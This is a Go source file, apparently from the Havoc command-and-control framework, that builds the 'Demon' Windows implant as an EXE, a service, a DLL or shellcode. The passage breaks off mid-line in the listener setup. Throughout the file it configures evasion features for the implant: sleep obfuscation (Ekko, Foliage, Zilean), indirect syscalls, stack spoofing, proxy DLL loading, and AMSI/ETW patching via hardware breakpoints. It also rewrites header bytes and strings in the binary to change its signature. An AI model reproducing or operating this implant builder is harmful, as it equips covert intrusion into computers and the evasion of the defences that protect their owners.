{\n\tvar builder = new(Builder)\n\n\tbuilder.sourcePath = utils.GetTeamserverPath() + \"/\" + PayloadDir + \"/Demon\"\n\tbuilder.config.Arch = ARCHITECTURE_X64\n\n\tbuilder.compilerOptions.SourceDirs = []string{\n\t\t\"src/core\",\n\t\t\"src/crypt\",\n\t\t\"src/inject\",\n\t\t\"src/asm\",\n\t}\n\n\tbuilder.compilerOptions.IncludeDirs = []string{\n\t\t\"include\",\n\t}\n\n\t/*\n\t * -Os                             Optimize for space rather than speed.\n\t * -fno-asynchronous-unwind-tables Suppresses the generation of static unwind tables (as opposed to complete exception-handling code).\n\t * -masm=intel                     Use the intel assembler dialect\n\t * -fno-ident                      Ignore the #ident directive.\n\t * -fpack-struct=<number>          Set initial maximum structure member alignment.\n\t * -falign-functions=<number>      Align the start of functions to the next power-of-two greater than or equal to n, skipping up to m-1 bytes.\n\t * -s                              Remove all symbols\n\t * -ffunction-sections             Place each function into its own section.\n\t * -fdata-sections                 Place each global or static variable into .data.variable_name, .rodata.variable_name or .bss.variable_name.\n\t * -falign-jumps=<number>          Align branch targets to a power-of-two boundary.\n\t * -w                              Suppress warnings.\n\t * -falign-labels=<number>         Align all branch targets to a power-of-two boundary.\n\t * -fPIC                           Generate position-independent code if possible (large mode).\n\t * -Wl                             passes a comma-separated list of tokens as a space-separated list of arguments to the linker.\n\t * -s                              Remove all symbol table and relocation information from the executable.\n\t * --no-seh                        Image does not use SEH.\n\t * --enable-stdcall-fixup          Link _sym to _sym@nn without warnings.\n\t * --gc-sections                   Decides which input sections are used by examining symbols and relocations.\n\t */\n\n\tlogger.Debug(fmt.Sprintf(\"Payload Builder: Enable Debug Mode %v\", config.DebugDev))\n\n\tif config.DebugDev {\n\t\t// debug mode includes symbols\n\t\tbuilder.compilerOptions.CFlags = []string{\n\t\t\t\"\",\n\t\t\t\"-Os -fno-asynchronous-unwind-tables -masm=intel\",\n\t\t\t\"-fno-ident -fpack-struct=8 -falign-functions=1\",\n\t\t\t\"-ffunction-sections -fdata-sections -falign-jumps=1 -w\",\n\t\t\t\"-falign-labels=1 -fPIC\",\n\t\t\t\"-Wl,--no-seh,--enable-stdcall-fixup,--gc-sections\",\n\t\t}\n\t} else {\n\t\tbuilder.compilerOptions.CFlags = []string{\n\t\t\t\"\",\n\t\t\t\"-Os -fno-asynchronous-unwind-tables -masm=intel\",\n\t\t\t\"-fno-ident -fpack-struct=8 -falign-functions=1\",\n\t\t\t\"-s -ffunction-sections -fdata-sections -falign-jumps=1 -w\",\n\t\t\t\"-falign-labels=1 -fPIC\",\n\t\t\t\"-Wl,-s,--no-seh,--enable-stdcall-fixup,--gc-sections\",\n\t\t}\n\t}\n\n\tbuilder.compilerOptions.Main.Dll = \"src/main/MainDll.c\"\n\tbuilder.compilerOptions.Main.Exe = \"src/main/MainExe.c\"\n\tbuilder.compilerOptions.Main.Svc = \"src/main/MainSvc.c\"\n\n\tbuilder.compilerOptions.Config = config\n\n\tbuilder.PatchBinary = false\n\n\treturn builder\n}\n\nfunc (b *Builder) SetSilent(silent bool) {\n\tb.silent = silent\n}\n\nfunc (b *Builder) Build() bool {\n\tvar (\n\t\tCompileCommand string\n\t\tAsmObj         string\n\t)\n\n\tb.CompileDir = \"/tmp/\" + utils.GenerateID(10) + \"/\"\n\terr := os.Mkdir(b.CompileDir, os.ModePerm)\n\tif err != nil {\n\t\tlogger.Error(\"Failed to create compile directory: \" + err.Error())\n\t\treturn false\n\t}\n\n\tif b.outputPath == \"\" && b.FileExtenstion != \"\" {\n\t\tb.SetOutputPath(b.CompileDir + PayloadName + b.FileExtenstion)\n\t}\n\n\tif b.config.ListenerType == handlers.LISTENER_EXTERNAL {\n\t\tb.SendConsoleMessage(\"Error\", \"External listeners are not support for payload build\")\n\t\tb.SendConsoleMessage(\"Error\", \"Use SMB listener\")\n\t\treturn false\n\t}\n\n\tif !b.silent {\n\t\tb.SendConsoleMessage(\"Info\", \"starting build\")\n\t}\n\n\tConfig, err := b.PatchConfig()\n\tif err != nil {\n\t\tb.SendConsoleMessage(\"Error\", err.Error())\n\t\treturn false\n\t}\n\n\tif !b.silent {\n\t\tb.SendConsoleMessage(\"Info\", fmt.Sprintf(\"config size [%v bytes]\", len(Config)))\n\t}\n\n\t//logger.Debug(\"len(Config) = \", len(Config))\n\tarray := \"{\"\n\tfor i := range Config {\n\t\tif i == (len(Config) - 1) {\n\t\t\tarray += fmt.Sprintf(\"0x%02x\", Config[i])\n\t\t} else {\n\t\t\tarray += fmt.Sprintf(\"0x%02x\\\\,\", Config[i])\n\t\t}\n\t}\n\tarray += \"}\"\n\t//logger.Debug(\"array = \" + array)\n\n\tb.compilerOptions.Defines = append(b.compilerOptions.Defines, \"CONFIG_BYTES=\"+array)\n\n\t// enable sending debug entries over HTTP(S) to the teamserver\n\tif b.compilerOptions.Config.SendLogs {\n\t\tb.compilerOptions.Defines = append(b.compilerOptions.Defines, \"SEND_LOGS\")\n\t}\n\n\t// enable debug mode\n\tif b.compilerOptions.Config.DebugDev {\n\t\tb.compilerOptions.Defines = append(b.compilerOptions.Defines, \"DEBUG\")\n\t} else {\n\t\tif b.FileType == FILETYPE_WINDOWS_SERVICE_EXE {\n\t\t\tb.compilerOptions.CFlags[0] = \"-mwindows -ladvapi32\"\n\t\t} else {\n\t\t\tb.compilerOptions.CFlags[0] += \" -nostdlib -mwindows\"\n\t\t}\n\t}\n\n\t// add compiler\n\tif b.config.Arch == ARCHITECTURE_X64 {\n\t\tabs, err := filepath.Abs(b.compilerOptions.Config.Compiler64)\n\n\t\tif err != nil {\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Error\", fmt.Sprintf(\"failed to resolve x64 compiler path: %v\", err))\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t\tb.compilerOptions.Config.Compiler64 = abs\n\n\t\tCompileCommand += \"\\\"\" + b.compilerOptions.Config.Compiler64 + \"\\\" \"\n\t} else {\n\t\tabs, err := filepath.Abs(b.compilerOptions.Config.Compiler86)\n\n\t\tif err != nil {\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Error\", fmt.Sprintf(\"failed to resolve x86 compiler path: %v\", err))\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t\tb.compilerOptions.Config.Compiler86 = abs\n\n\t\tCompileCommand += \"\\\"\" + b.compilerOptions.Config.Compiler86 + \"\\\" \"\n\t}\n\n\t// add sources\n\tfor _, dir := range b.compilerOptions.SourceDirs {\n\t\tfiles, err := os.ReadDir(b.sourcePath + \"/\" + dir)\n\t\tif err != nil {\n\t\t\tlogger.Error(err)\n\t\t}\n\n\t\tfor _, f := range files {\n\t\t\tvar FilePath = dir + \"/\" + f.Name()\n\n\t\t\t// only add the assembly if the demon is x64\n\t\t\tif path.Ext(f.Name()) == \".asm\" {\n\t\t\t\tif (strings.Contains(f.Name(), \".x64.\") && b.config.Arch == ARCHITECTURE_X64) || (strings.Contains(f.Name(), \".x86.\") && b.config.Arch == ARCHITECTURE_X86) {\n\t\t\t\t\tAsmObj = b.CompileDir + utils.GenerateID(10) + \".o\"\n\t\t\t\t\tvar AsmCompile string\n\t\t\t\t\tif b.config.Arch == ARCHITECTURE_X64 {\n\t\t\t\t\t\tAsmCompile = fmt.Sprintf(b.compilerOptions.Config.Nasm+\" -f win64 %s -o %s\", FilePath, AsmObj)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tAsmCompile = fmt.Sprintf(b.compilerOptions.Config.Nasm+\" -f win32 %s -o %s\", FilePath, AsmObj)\n\t\t\t\t\t}\n\t\t\t\t\tlogger.Debug(AsmCompile)\n\t\t\t\t\tb.FilesCreated = append(b.FilesCreated, AsmObj)\n\t\t\t\t\tb.Cmd(AsmCompile)\n\t\t\t\t\tCompileCommand += AsmObj + \" \"\n\t\t\t\t}\n\t\t\t} else if path.Ext(f.Name()) == \".c\" {\n\t\t\t\tCompileCommand += FilePath + \" \"\n\t\t\t}\n\t\t}\n\t}\n\tCompileCommand += \"src/Demon.c \"\n\n\t// add include directories\n\tfor _, dir := range b.compilerOptions.IncludeDirs {\n\t\tCompileCommand += \"-I\" + dir + \" \"\n\t}\n\n\t// add cflags\n\tCompileCommand += strings.Join(b.compilerOptions.CFlags, \" \")\n\n\t// add defines\n\tb.compilerOptions.Defines = append(b.compilerOptions.Defines, b.GetListenerDefines()...)\n\tfor _, define := range b.compilerOptions.Defines {\n\t\tCompileCommand += \" -D\" + define + \" \"\n\t}\n\n\tswitch b.FileType {\n\tcase FILETYPE_WINDOWS_EXE:\n\t\tlogger.Debug(\"Compile exe\")\n\t\tif b.config.Arch == ARCHITECTURE_X64 {\n\t\t\tCompileCommand += \"-D MAIN_THREADED -e WinMain \"\n\t\t} else {\n\t\t\tCompileCommand += \"-D MAIN_THREADED -e _WinMain \"\n\t\t}\n\t\tCompileCommand += b.compilerOptions.Main.Exe + \" \"\n\t\tbreak\n\n\tcase FILETYPE_WINDOWS_SERVICE_EXE:\n\t\tlogger.Debug(\"Compile Service exe\")\n\t\tif b.config.Arch == ARCHITECTURE_X64 {\n\t\t\tCompileCommand += \"-D MAIN_THREADED -D SVC_EXE -lntdll -e WinMain \"\n\t\t} else {\n\t\t\tCompileCommand += \"-D MAIN_THREADED -D SVC_EXE -lntdll -e _WinMain \"\n\t\t}\n\t\tCompileCommand += b.compilerOptions.Main.Svc + \" \"\n\t\tbreak\n\n\tcase FILETYPE_WINDOWS_DLL:\n\t\tlogger.Debug(\"Compile dll\")\n\t\tif b.config.Arch == ARCHITECTURE_X64 {\n\t\t\tCompileCommand += \"-shared -e DllMain \"\n\t\t} else {\n\t\t\tCompileCommand += \"-shared -e _DllMain \"\n\t\t}\n\t\tCompileCommand += b.compilerOptions.Main.Dll + \" \"\n\t\tbreak\n\n\tcase FILETYPE_WINDOWS_RAW_BINARY:\n\t\tlogger.Debug(\"Compile dll and prepend shellcode to it.\")\n\n\t\tDllPayload := NewBuilder(b.compilerOptions.Config)\n\t\tDllPayload.SetSilent(true)\n\t\tDllPayload.ClientId = b.ClientId\n\t\tDllPayload.SendConsoleMessage = b.SendConsoleMessage\n\t\tDllPayload.config.Config = b.config.Config\n\t\tDllPayload.SetArch(b.config.Arch)\n\t\tDllPayload.SetFormat(FILETYPE_WINDOWS_DLL)\n\t\tDllPayload.SetPatchConfig(b.ProfileConfig.Original)\n\t\tDllPayload.SetListener(b.config.ListenerType, b.config.ListenerConfig)\n\t\tif b.config.Arch == ARCHITECTURE_X64 {\n\t\t\tDllPayload.SetExtension(\".x64.dll\")\n\t\t} else {\n\t\t\tDllPayload.SetExtension(\".x86.dll\")\n\t\t}\n\t\tDllPayload.compilerOptions.Defines = append(DllPayload.compilerOptions.Defines, \"SHELLCODE\")\n\n\t\tb.SendConsoleMessage(\"Info\", \"compiling core dll...\")\n\t\tif DllPayload.Build() {\n\n\t\t\tlogger.Debug(\"Successful compiled Dll\")\n\t\t\tvar (\n\t\t\t\tShellcodePath   string\n\t\t\t\tDllPayloadBytes []byte\n\t\t\t\tShellcode       []byte\n\t\t\t)\n\n\t\t\tDllPayloadBytes = DllPayload.GetPayloadBytes()\n\n\t\t\tDllPayload.DeletePayload()\n\n\t\t\tb.SendConsoleMessage(\"Info\", fmt.Sprintf(\"compiled core dll [%v bytes]\", len(DllPayloadBytes)))\n\n\t\t\tif b.config.Arch == ARCHITECTURE_X64 {\n\t\t\t\tShellcodePath = utils.GetTeamserverPath() + \"/\" + PayloadDir + \"/Shellcode.x64.bin\"\n\t\t\t} else {\n\t\t\t\tShellcodePath = utils.GetTeamserverPath() + \"/\" + PayloadDir + \"/Shellcode.x86.bin\"\n\t\t\t}\n\n\t\t\tShellcodeTemplate, err := os.ReadFile(ShellcodePath)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Couldn't read content of file: \" + err.Error())\n\t\t\t\tb.SendConsoleMessage(\"Error\", \"couldn't read content of file: \"+err.Error())\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tShellcode = append(ShellcodeTemplate, DllPayloadBytes...)\n\t\t\tb.SendConsoleMessage(\"Info\", fmt.Sprintf(\"shellcode payload [%v bytes]\", len(Shellcode)))\n\n\t\t\tb.preBytes = Shellcode\n\n\t\t\treturn true\n\t\t}\n\t\tbreak\n\n\t}\n\n\tCompileCommand += \"-o \" + b.outputPath\n\n\tif !b.silent {\n\t\tb.SendConsoleMessage(\"Info\", \"compiling source\")\n\t}\n\n\t//logger.Debug(CompileCommand)\n\tSuccessful := b.CompileCmd(CompileCommand)\n\n\treturn Successful\n}\n\nfunc (b *Builder) SetListener(Type int, Config any) {\n\tb.config.ListenerType = Type\n\tb.config.ListenerConfig = Config\n}\n\nfunc (b *Builder) SetPatchConfig(Config any) {\n\tlogger.Debug(\"Set Patch config from Profile\")\n\tif Config != nil {\n\t\tb.PatchBinary = true\n\t\tb.ProfileConfig.Original = Config\n\t\tif Config.(*profile.Binary).Header != nil {\n\t\t\tb.ProfileConfig.MagicMzX64 = Config.(*profile.Binary).Header.MagicMzX64\n\t\t\tb.ProfileConfig.MagicMzX86 = Config.(*profile.Binary).Header.MagicMzX86\n\t\t\tb.ProfileConfig.ImageSizeX64 = Config.(*profile.Binary).Header.ImageSizeX64\n\t\t\tb.ProfileConfig.ImageSizeX86 = Config.(*profile.Binary).Header.ImageSizeX86\n\t\t}\n\n\t\tb.ProfileConfig.ReplaceStringsX64 = Config.(*profile.Binary).ReplaceStringsX64\n\t\tb.ProfileConfig.ReplaceStringsX86 = Config.(*profile.Binary).ReplaceStringsX86\n\t}\n}\n\nfunc (b *Builder) SetFormat(Format int) {\n\tb.FileType = Format\n}\n\nfunc (b *Builder) SetArch(Arch int) {\n\tb.config.Arch = Arch\n}\n\nfunc (b *Builder) SetConfig(Config string) error {\n\n\terr := json.Unmarshal([]byte(Config), &b.config.Config)\n\tif err != nil {\n\t\tlogger.Error(\"Failed to Unmarshal json to object: \" + err.Error())\n\t\tb.SendConsoleMessage(\"Error\", \"failed to Unmarshal json to object: \"+err.Error())\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (b *Builder) SetOutputPath(path string) {\n\tb.outputPath = path\n}\n\nfunc (b *Builder) SetExtension(ext string) {\n\tb.FileExtenstion = ext\n}\n\nfunc (b *Builder) GetOutputPath() string {\n\treturn b.outputPath\n}\n\nfunc (b *Builder) Patch(ByteArray []byte) []byte {\n\tif b.config.Arch == ARCHITECTURE_X64 {\n\t\tif b.ProfileConfig.MagicMzX64 != \"\" {\n\t\t\tfor i := range b.ProfileConfig.MagicMzX64 {\n\t\t\t\tByteArray[i] = b.ProfileConfig.MagicMzX64[i]\n\t\t\t}\n\t\t}\n\n\t\tif b.ProfileConfig.ReplaceStringsX64 != nil {\n\t\t\tfor old, _ := range b.ProfileConfig.ReplaceStringsX64 {\n\t\t\t\tnew := []byte(b.ProfileConfig.ReplaceStringsX64[old])\n\t\t\t\t// make sure they are the same length\n\t\t\t\tif len(new) < len(old) {\n\t\t\t\t\tnew = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...)\n\t\t\t\t}\n\t\t\t\tif len(new) > len(old) {\n\t\t\t\t\tlogger.Error(fmt.Sprintf(\"invalid replacement rule, new value (%s) can be longer than the old value (%s)\", string(new), old))\n\t\t\t\t} else {\n\t\t\t\t\tByteArray = bytes.Replace(ByteArray, []byte(old), new, -1)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif b.ProfileConfig.MagicMzX86 != \"\" {\n\t\t\tfor i := range b.ProfileConfig.MagicMzX86 {\n\t\t\t\tByteArray[i] = b.ProfileConfig.MagicMzX86[i]\n\t\t\t}\n\t\t}\n\n\t\tif b.ProfileConfig.ReplaceStringsX86 != nil {\n\t\t\tfor old, _ := range b.ProfileConfig.ReplaceStringsX86 {\n\t\t\t\tnew := []byte(b.ProfileConfig.ReplaceStringsX86[old])\n\t\t\t\t// make sure they are the same length\n\t\t\t\tif len(new) < len(old) {\n\t\t\t\t\tnew = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...)\n\t\t\t\t}\n\t\t\t\tif len(new) > len(old) {\n\t\t\t\t\tlogger.Error(fmt.Sprintf(\"invalid replacement rule, new value (%s) can be longer than the old value (%s)\", string(new), old))\n\t\t\t\t} else {\n\t\t\t\t\tByteArray = bytes.Replace(ByteArray, []byte(old), new, -1)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn ByteArray\n}\n\nfunc (b *Builder) PatchConfig() ([]byte, error) {\n\tvar (\n\t\tDemonConfig        = packer.NewPacker(nil, nil)\n\t\tConfigSleep        int\n\t\tConfigJitter       int\n\t\tConfigAlloc        int\n\t\tConfigExecute      int\n\t\tConfigSpawn64      string\n\t\tConfigSpawn32      string\n\t\tConfigObfTechnique int\n\t\tConfigObfBypass    int\n\t\tConfigProxyLoading = PROXYLOADING_NONE\n\t\tConfigStackSpoof   = win32.FALSE\n\t\tConfigSyscall      = win32.FALSE\n\t\tConfigAmsiPatch    = AMSIETW_PATCH_NONE\n\t\terr                error\n\t)\n\n\tlogger.Debug(b.config.Config)\n\n\tif val, ok := b.config.Config[\"Sleep\"].(string); ok {\n\t\tConfigSleep, err = strconv.Atoi(val)\n\t\tif err != nil {\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Error\", \"failed to convert Sleep string to int: \"+err.Error())\n\t\t\t}\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif val, ok := b.config.Config[\"Jitter\"].(string); ok {\n\t\tConfigJitter, err = strconv.Atoi(val)\n\t\tif err != nil {\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Error\", \"failed to convert Jitter string to int: \"+err.Error())\n\t\t\t}\n\t\t\treturn nil, err\n\t\t}\n\t\tif ConfigJitter < 0 || ConfigJitter > 100 {\n\t\t\treturn nil, errors.New(\"Jitter has to be between 0 and 100\")\n\t\t}\n\t} else {\n\t\tb.SendConsoleMessage(\"Info\", \"jitter not found?\")\n\t\tConfigJitter = 0\n\t}\n\n\tif val, ok := b.config.Config[\"Indirect Syscall\"].(bool); ok {\n\t\tif val {\n\t\t\tConfigSyscall = win32.TRUE\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"indirect syscalls has been enabled\")\n\t\t\t}\n\t\t}\n\t}\n\n\tif b.FileType == FILETYPE_WINDOWS_SERVICE_EXE {\n\t\tif val, ok := b.config.Config[\"Service Name\"].(string); ok {\n\t\t\tif len(val) > 0 {\n\t\t\t\tb.compilerOptions.Defines = append(b.compilerOptions.Defines, \"SERVICE_NAME=\\\\\\\"\"+val+\"\\\\\\\"\")\n\t\t\t\tif !b.silent {\n\t\t\t\t\tb.SendConsoleMessage(\"Info\", \"set service name to \"+val)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tval = common.RandomString(6)\n\t\t\t\tb.compilerOptions.Defines = append(b.compilerOptions.Defines, \"SERVICE_NAME=\\\\\\\"\"+val+\"\\\\\\\"\")\n\t\t\t\tif !b.silent {\n\t\t\t\t\tb.SendConsoleMessage(\"Info\", \"service name not specified... using random name\")\n\t\t\t\t\tb.SendConsoleMessage(\"Info\", \"set service name to \"+val)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Demon Config\n\tDemonConfig.AddInt(ConfigSleep)\n\tDemonConfig.AddInt(ConfigJitter)\n\n\tif Injection := b.config.Config[\"Injection\"].(map[string]any); len(Injection) > 0 {\n\n\t\tif val, ok := Injection[\"Alloc\"].(string); ok && len(val) > 0 {\n\t\t\tswitch val {\n\t\t\tcase \"Win32\":\n\t\t\t\tConfigAlloc = 1\n\t\t\t\tbreak\n\n\t\t\tcase \"Native/Syscall\":\n\t\t\t\tConfigAlloc = 2\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tConfigAlloc = 0\n\t\t\t\tbreak\n\t\t\t}\n\t\t} else {\n\t\t\treturn nil, errors.New(\"Injection Alloc is undefined\")\n\t\t}\n\n\t\tif val, ok := Injection[\"Execute\"].(string); ok && len(val) > 0 {\n\t\t\tswitch val {\n\t\t\tcase \"Win32\":\n\t\t\t\tConfigExecute = 1\n\t\t\t\tbreak\n\n\t\t\tcase \"Native/Syscall\":\n\t\t\t\tConfigExecute = 2\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tConfigExecute = 0\n\t\t\t\tbreak\n\t\t\t}\n\t\t} else {\n\t\t\treturn nil, errors.New(\"Injection Execute is undefined\")\n\t\t}\n\n\t\tif val, ok := Injection[\"Spawn64\"].(string); ok && len(val) > 0 {\n\t\t\tConfigSpawn64 = val\n\t\t} else {\n\t\t\treturn nil, errors.New(\"Injection Spawn64 is undefined\")\n\t\t}\n\n\t\tif val, ok := Injection[\"Spawn32\"].(string); ok && len(val) > 0 {\n\t\t\tConfigSpawn32 = val\n\t\t} else {\n\t\t\treturn nil, errors.New(\"injection Spawn32 is undefined\")\n\t\t}\n\t} else {\n\t\treturn nil, errors.New(\"injection is undefined\")\n\t}\n\n\tif val, ok := b.config.Config[\"Sleep Technique\"].(string); ok && len(val) > 0 {\n\t\tswitch val {\n\t\tcase \"WaitForSingleObjectEx\":\n\t\t\tConfigObfTechnique = SLEEPOBF_NO_OBF\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"no sleep obfuscation has been specified\")\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"Foliage\":\n\t\t\tConfigObfTechnique = SLEEPOBF_FOLIAGE\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"sleep obfuscation \\\"Foliage\\\" has been specified\")\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"Ekko\":\n\t\t\tConfigObfTechnique = SLEEPOBF_EKKO\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"sleep obfuscation \\\"Ekko\\\" has been specified\")\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"Zilean\":\n\t\t\tConfigObfTechnique = SLEEPOBF_ZILEAN\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"sleep obfuscation \\\"Zilean\\\" has been specified\")\n\t\t\t}\n\t\t\tbreak\n\n\t\tdefault:\n\t\t\tConfigObfTechnique = SLEEPOBF_NO_OBF\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"no sleep obfuscation has been specified\")\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t} else {\n\t\treturn nil, errors.New(\"sleep Obfuscation technique is undefined\")\n\t}\n\n\tif val, ok := b.config.Config[\"Sleep Jmp Gadget\"].(string); ok && len(val) > 0 {\n\n\t\tif ConfigObfTechnique != SLEEPOBF_NO_OBF {\n\t\t\tswitch val {\n\t\t\tcase \"jmp rax\":\n\t\t\t\tConfigObfTechnique = SLEEPOBF_BYPASS_JMPRAX\n\t\t\t\tif !b.silent {\n\t\t\t\t\tb.SendConsoleMessage(\"Info\", \"sleep jump gadget \\\"jmp rax\\\" has been specified\")\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tcase \"jmp rbx\":\n\t\t\t\tConfigObfBypass = SLEEPOBF_BYPASS_JMPRBX\n\t\t\t\tif !b.silent {\n\t\t\t\t\tb.SendConsoleMessage(\"Info\", \"sleep jump gadget \\\"jmp rbx\\\" has been specified\")\n\t\t\t\t}\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tConfigObfBypass = SLEEPOBF_BYPASS_NONE\n\t\t\t\tif !b.silent {\n\t\t\t\t\tb.SendConsoleMessage(\"Info\", \"no sleep jump gadget has been specified\")\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t} else {\n\t\t\t// if no sleep obfuscation technique has been specified then\n\t\t\t// no jmp gadgets are going to be used.\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"sleep jump gadget option ignored\")\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\treturn nil, errors.New(\"sleep Obfuscation technique is undefined\")\n\t}\n\n\tif val, ok := b.config.Config[\"Stack Duplication\"].(bool); ok {\n\t\tif ConfigObfTechnique != SLEEPOBF_NO_OBF {\n\t\t\tif val {\n\t\t\t\tConfigStackSpoof = win32.TRUE\n\t\t\t\tif !b.silent {\n\t\t\t\t\tb.SendConsoleMessage(\"Info\", \"stack duplication has been specified\")\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t// if no sleep obfuscation technique has been specified then\n\t\t\t// stack spoofing is not possible during sleep lol.\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"stack duplication option ignored\")\n\t\t\t}\n\t\t}\n\t} else {\n\t\treturn nil, errors.New(\"sleep Obfuscation technique is undefined\")\n\t}\n\n\tif val, ok := b.config.Config[\"Proxy Loading\"].(string); ok && len(val) > 0 {\n\t\tswitch val {\n\t\tcase \"None (LdrLoadDll)\":\n\t\t\tConfigProxyLoading = PROXYLOADING_NONE\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"no proxy loading technique specified (using LdrLoadDll)\")\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"RtlRegisterWait\":\n\t\t\tConfigProxyLoading = PROXYLOADING_RTLREGISTERWAIT\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"proxy loading technique: RtlRegisterWait\")\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"RtlCreateTimer\":\n\t\t\tConfigProxyLoading = PROXYLOADING_RTLCREATETIMER\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"proxy loading technique: RtlCreateTimer\")\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"RtlQueueWorkItem\":\n\t\t\tConfigProxyLoading = PROXYLOADING_RTLQUEUEWORKITEM\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"proxy loading technique: RtlQueueWorkItem\")\n\t\t\t}\n\t\t\tbreak\n\n\t\tdefault:\n\t\t\tConfigProxyLoading = PROXYLOADING_NONE\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"no proxy loading technique specified (using LdrLoadDll)\")\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t} else {\n\t\treturn nil, errors.New(\"sleep Obfuscation technique is undefined\")\n\t}\n\n\tif val, ok := b.config.Config[\"Amsi/Etw Patch\"].(string); ok && len(val) > 0 {\n\t\tswitch val {\n\n\t\tcase \"Hardware breakpoints\":\n\t\t\tConfigAmsiPatch = AMSIETW_PATCH_HWBP\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"amsi/etw patching technique: hardware breakpoints\")\n\t\t\t}\n\t\t\tbreak\n\n\t\tdefault:\n\t\t\tConfigAmsiPatch = AMSIETW_PATCH_NONE\n\t\t\tif !b.silent {\n\t\t\t\tb.SendConsoleMessage(\"Info\", \"amsi/etw patching disabled\")\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t} else {\n\t\treturn nil, errors.New(\"sleep Obfuscation technique is undefined\")\n\t}\n\n\t// behaviour configuration (alloc/exec/spawn)\n\tDemonConfig.AddInt(ConfigAlloc)\n\tDemonConfig.AddInt(ConfigExecute)\n\tDemonConfig.AddWString(ConfigSpawn64)\n\tDemonConfig.AddWString(ConfigSpawn32)\n\n\t// bypass techniques\n\tDemonConfig.AddInt(ConfigObfTechnique)\n\tDemonConfig.AddInt(ConfigObfBypass)\n\tDemonConfig.AddInt(ConfigStackSpoof)\n\tDemonConfig.AddInt(ConfigProxyLoading)\n\tDemonConfig.AddInt(ConfigSyscall)\n\tDemonConfig.AddInt(ConfigAmsiPatch)\n\n\t// Listener Config\n\tswitch b.config.ListenerType {\n\tcase handlers.LISTENER_HTTP:\n\t\tvar (\n\t\t\tConfig    = b.config.ListenerConfig.(*handlers.HTTP)\n\t\t\tPort, err = strconv.Atoi(Config.Config.PortConn)\n\t\t)\n\n\t\tif Config.Config.PortConn != \"\" && err != nil {\n\t\t\treturn nil, errors.New(\"Failed to parse the PortConn: \" + Config.Config.PortConn)\n\t\t} else if Config.Config.PortConn == \"\" {\n\t\t\tPort, err = strconv.Atoi(Config.Config.PortBind)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.New(\"Failed to parse the PortBind: \" + Config.Config.PortBind)\n\t\t\t}\n\t\t}\n\n\t\tDemonConfig.AddInt64(Config.Config.KillDate)\n\n\t\tWorkingHours, err := common.ParseWorkingHours(Config.Config.WorkingHours)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tDemonConfig.AddInt32(WorkingHours)\n\n\t\tif strings.ToLower(Config.Config.Methode) == \"get\" {\n\t\t\t//DemonConfig.AddWString(\"GET\")\n\t\t\treturn nil, errors.New(\"GET method is not supported\")\n\t\t} else {\n\t\t\tDemonConfig.AddWString(\"POST\")\n\t\t}\n\n\t\tswitch Config.Config.HostRotation {\n\t\tcase \"round-robin\":\n\t\t\tDemonConfig.AddInt(0)\n\t\t\tbreak\n\n\t\tcase \"random\":\n\t\t\tDemonConfig.AddInt(1)\n\t\t\tbreak\n\n\t\tdefault:\n\t\t\tDemonConfig.AddInt(1)\n\t\t\tbreak\n\t\t}\n\n\t\tDemonConfig.AddInt(len(Config.Config.Hosts))\n\t\tfor _, host := range Config.Config.Hosts {\n\t\t\tvar HostPort []string\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Host => %v\", host))\n\n\t\t\tHostPort = strings.Split(host, 